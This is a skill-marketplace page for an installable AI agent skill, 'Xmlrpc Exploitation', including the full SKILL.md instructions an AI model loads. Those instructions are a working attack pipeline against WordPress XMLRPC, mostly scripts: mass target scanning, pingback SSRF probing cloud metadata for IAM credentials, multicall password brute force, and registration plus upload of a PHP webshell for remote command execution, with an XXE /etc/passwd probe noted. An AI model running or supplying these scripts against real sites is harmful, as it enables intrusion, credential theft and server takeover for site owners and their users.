Xmlrpc Exploitation logo

Xmlrpc Exploitation

CommunityPopular
uphiago
xmlrpc-exploitation

Exploit XMLRPC multicall, pingback for brute force and SSRF.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namexmlrpc-exploitation
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Xmlrpc Exploitation AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/xmlrpc-exploitation .claude/skills/xmlrpc-exploitation
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Xmlrpc Exploitation in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Xmlrpc Exploitation on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Xmlrpc Exploitation is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

XMLRPC Exploitation Skill

5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via pingback.ping, amplified brute force via system.multicall (1000x amplification), and RCE via wp.uploadFile when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.

When to Use

  • wp-mass-recon detected XMLRPC returning HTTP 200 on POST.
  • Target has WordPress with open registration (chain: upload → webshell → RCE).
  • Need a brute-force amplification vector for WordPress credentials.
  • Probing for internal SSRF via pingback.ping to cloud metadata endpoints.

Prerequisites

  • terminal with curl.
  • Target has confirmed XMLRPC endpoint (/xmlrpc.php returns 200 on POST with demo.sayHello).
  • For RCE chain: target must have open registration or another file upload path.
  • For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs.

How to Run

bash
# Phase 1: Bulk detection on target list
while read -r domain; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
  [[ "$code" == "200" ]] && echo "OPEN: $domain"
  sleep 0.3
done < targets.txt

# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

Quick Reference

MethodCapabilitySeverity
demo.sayHelloConfirms XMLRPC is aliveInfo
system.listMethodsEnumerate all available methodsInfo
system.multicallExecute multiple methods in ONE requestCritical — 1000x brute force amplification
pingback.pingSSRF — server makes outbound HTTP requestHigh — probe internal network, IMDS
wp.getUsersEnumerate WordPress usersMedium
wp.getPostsList published postsLow
wp.uploadFileUpload file to media libraryCritical — webshell when combined with open reg
wp.getOptionsRead WordPress options (siteurl, admin_email)Medium
wp.getPostStatusListGet post statusesLow

Procedure

Phase 1 — Bulk Detection

bash
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt

echo "domain,code,hello" > xmlrpc_open.csv

while read -r domain; do
  resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
  if echo "$resp" | grep -q "Hello"; then
    echo "$domain,200,yes" >> xmlrpc_open.csv
    echo "[OPEN] $domain"
  fi
done < targets.txt

Phase 2 — Method Enumeration

bash
TARGET="$1"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -H "Accept-Encoding: identity" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
  | python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort

Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.

Phase 3 — SSRF via pingback.ping

bash
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>$CALLBACK</string></value></param>
    <param><value><string>https://$TARGET/?p=1</string></value></param>
  </params>
</methodCall>"

If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include Accept-Encoding: identity to avoid LiteSpeed gzip):

bash
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>'

# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
       "EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
       "webserver-role" "app-role" "default")

for role in "${ROLES[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>" 2>/dev/null)

  fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
  echo "  role=$role -> faultCode ${fc:-no-fault}"
  sleep 0.5
done

faultCode 0 on a pingback to an internal address confirms the request reached the target. faultCode 17 or 32 means blocked or unreachable.

Phase 3b — Blind SSRF Data Extraction via Timing Oracle

When pingback.ping returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use timing differences to extract data character-by-character or enumerate IAM roles.

How it works: The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.

IAM Role Enumeration:

python
import subprocess, time

TARGET = "target.com"

def ssrf_time(url):
    xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
    start = time.perf_counter()
    subprocess.run(["curl", "-sk", "-X", "POST",
        f"https://{TARGET}/xmlrpc.php",
        "-H", "Content-Type: text/xml", "-d", xml],
        capture_output=True, timeout=15)
    return time.perf_counter() - start

# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")

# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
         "SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
    t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
    exists = "FOUND" if t > baseline * 1.15 else "404"
    print(f"  {role}: {t:.3f}s -> {exists}")

From field (retail.example.com, June 2026):

  • IMDS /meta-data/: 344ms (large response — list of paths)
  • IMDS /iam/security-credentials/: 435ms (very large — IAM role listing)
  • IMDS /instance-id: 301ms (small — short string)

Pitfall: Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.

Phase 4 — Amplified Brute Force (system.multicall)

system.multicall allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ wp.getUsers calls with different credentials, giving 1000x amplification over sequential requests.

bash
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"

# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
    xml += f'''<value><struct>
  <member><name>methodName</name><value><string>wp.getUsers</string></value></member>
  <member><name>params</name><value><array><data>
    <value><string>{pw}</string></value>
  </data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d @/tmp/multicall_payload.xml

A successful auth in the response will show user data instead of faultCode 403.

Phase 5 — RCE via Open Registration + wp.uploadFile

If the target has open registration AND XMLRPC with wp.uploadFile:

bash
TARGET="$1"

# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
  -d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"

# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
  echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
  echo "SUBSCRIBER - upload blocked. Need escalation first:"
  echo "  a) Brute force admin (system.multicall 1000 pwd/req)"
  echo "  b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
  echo "  c) Check if default role changed by plugin"
  exit 1
fi

# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\\\"1.0\\\"?>
<methodCall>
  <methodName>wp.uploadFile</methodName>
  <params>
    <param><value><string>1</string></value></param>
    <param><value><string>attackusr</string></value></param>
    <param><value><string>password123</string></value></param>
    <param><value><struct>
      <member><name>name</name><value><string>shell.php</string></value></member>
      <member><name>type</name><value><string>application/x-php</string></value></member>
      <member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
    </struct></value></param>
  </params>
</methodCall>"

# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"

Retesting Behavior

Test the original XML-RPC URL without following redirects, then inspect any redirect target separately. Redirect-following can replace a protocol response with an HTML page and create a false regression. A change in status code is not enough to classify the endpoint; require a protocol-valid response body or the expected controlled callback.

Pitfalls

  • faultCode 0 on pingback ≠ SSRF confirmed. Some servers return faultCode 0 for all pingbacks. Verify with your own Collaborator callback first (the definitive test).
  • faultCode parsing: Use re.search(r'faultCode[^0-9]*([0-9]+)', r.text) to reliably extract fault codes. faultCode 0 = accepted, faultCode 17 = URL not found, faultCode 32 = blocked/error.
  • system.multicall may be restricted. Some hosts expose it in system.listMethods but return faultCode on actual use. Test with a single call before building multi-call payloads.
  • Redirect-follow (-L) can hide XML-RPC POST responses. Capture the original response without -L; investigate redirects as separate endpoints.
  • LiteSpeed HTTP 500 on multicall. LiteSpeed returns HTTP 500 for multicall payloads >50kb, even when the methods inside succeed. STILL CHECK THE BODY on HTTP 500 — look for isAdmin, blogid, or blogName strings. Use smaller batch sizes (50 passwords/request instead of 100).
  • Alternate IP encodings change parser behavior. Test them only when the authorization explicitly includes SSRF filter-bypass validation.
  • Large multicall batches amplify load. Start with one method call and increase only within the agreed request and authentication-testing limits.
  • BusyBox grep lacks -P. Minimal environments may provide BusyBox grep, which does not support Perl-compatible regular expressions. Use grep -oE or Python for complex matching.
  • All ports return faultCode 0 on pingback SSRF. WordPress pingback.ping returns faultCode 0 for all internal IPs regardless of whether the port is actually open. The response does NOT distinguish open vs closed ports. For port scanning, use timing-based detection: an open port with a listening service returns faster (under 1s) than a closed port (timeout). But even this is unreliable through CDN-cached XMLRPC handlers.
  • system.multicall success markers. A successful auth in multicall response shows isAdmin, blogid, or blogName — not just absence of faultCode 403. Check for ALL three keywords.
  • LiteSpeed gzip compression. LiteSpeed compresses XMLRPC responses with gzip even without Accept-Encoding. Add -H "Accept-Encoding: identity" to curl, or pipe through Python gunzip. Without this, grep finds no faultCodes in the compressed binary.
  • Regex portability matters. When only BusyBox grep is available, use Python for expressions that require PCRE features.
  • wp.uploadFile requires authentication. Without valid credentials or open registration, this is not exploitable. IMPORTANT: Even with valid credentials, WordPress 6.x registers new users as SUBSCRIBER — and subscribers cannot upload files via XMLRPC. Always verify role via wp.getProfile before attempting upload. If subscriber, escalate (brute force admin, plugin CVE, or app passwords).\n- Mailinator password reset flow. WordPress registration sends a reset LINK (not password). You must: (1) read Mailinator inbox to extract the key=... from the URL, (2) GET the reset page to get wp-resetpass-* cookie, (3) POST new password. The rp_key parameter from the email URL is required — the HTML form may not auto-fill it.
  • XXE in XMLRPC: Older PHP/libxml2 versions parse XMLRPC with external entities enabled. Probe with <!ENTITY xxe SYSTEM "file:///etc/passwd"> as bonus vector.
  • IMDSv2 blocks pingback: IMDSv2 requires X-aws-ec2-metadata-token header (PUT to /latest/api/token). Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.

Verification

  • demo.sayHello MUST return Hello! in the response body to confirm XMLRPC is functional.
  • pingback.ping SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).
  • system.multicall MUST return distinct responses for each embedded method call.
  • RCE chain MUST produce id or whoami output from the uploaded webshell.
  • IMDS role guessing: faultCode 0 on a role path without a Collaborator callback = UNCONFIRMED — treat as "SSRF possible but needs OOB verification."

Frequently asked questions

What does the Xmlrpc Exploitation AI skill do?

Exploit XMLRPC multicall, pingback for brute force and SSRF.

Why use Xmlrpc Exploitation on TypingMind?

Because you install it once and use it with any model. Xmlrpc Exploitation is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Xmlrpc Exploitation in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/xmlrpc-exploitation. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Xmlrpc Exploitation?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Xmlrpc Exploitation?

As many as you like. As long as a model supports skills, you can use Xmlrpc Exploitation with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Xmlrpc Exploitation AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇